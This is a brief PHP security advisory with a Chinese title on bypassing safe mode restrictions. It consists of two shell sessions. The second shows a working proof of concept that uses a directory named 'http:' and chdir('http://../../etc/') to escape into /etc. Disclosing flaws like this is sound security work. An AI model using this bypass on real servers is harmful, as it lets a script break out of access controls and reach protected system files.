PHP 'chdir()' and 'ftok()' 安全模式绕过漏洞

                                                cxib# cat /www/wufff.php
<?
echo getcwd()."\n";
chdir("/etc/");
echo getcwd()."\n";
?>
cxib# ls -la /www/wufff.php
-rw-r--r--  1 www  www  62 Jun 17 17:14 /www/wufff.php
cxib# php /www/wufff.php
/www

Warning: chdir(): SAFE MODE Restriction in effect.  The script whose uid
is 80 is not allowed to access /etc/ owned by uid 0 in /www/wufff.php on
line 3
/www
cxib#
---/EXAMPLE1---

---EXAMPLE2---
cxib# ls -la /www/wufff.php
-rw-r--r--  1 www  www  74 Jun 17 17:13 /www/wufff.php
cxib# ls -la /www/http:
total 8
drwxr-xr-x   2 www  www   512 Jun 17 17:12 .
drwxr-xr-x  19 www  www  4608 Jun 17 17:13 ..
cxib# cat /www/wufff.php
<?
echo getcwd()."\n";
chdir("http://../../etc/");
echo getcwd()."\n";
?>
cxib# php /www/wufff.php
/www
/etc
cxib#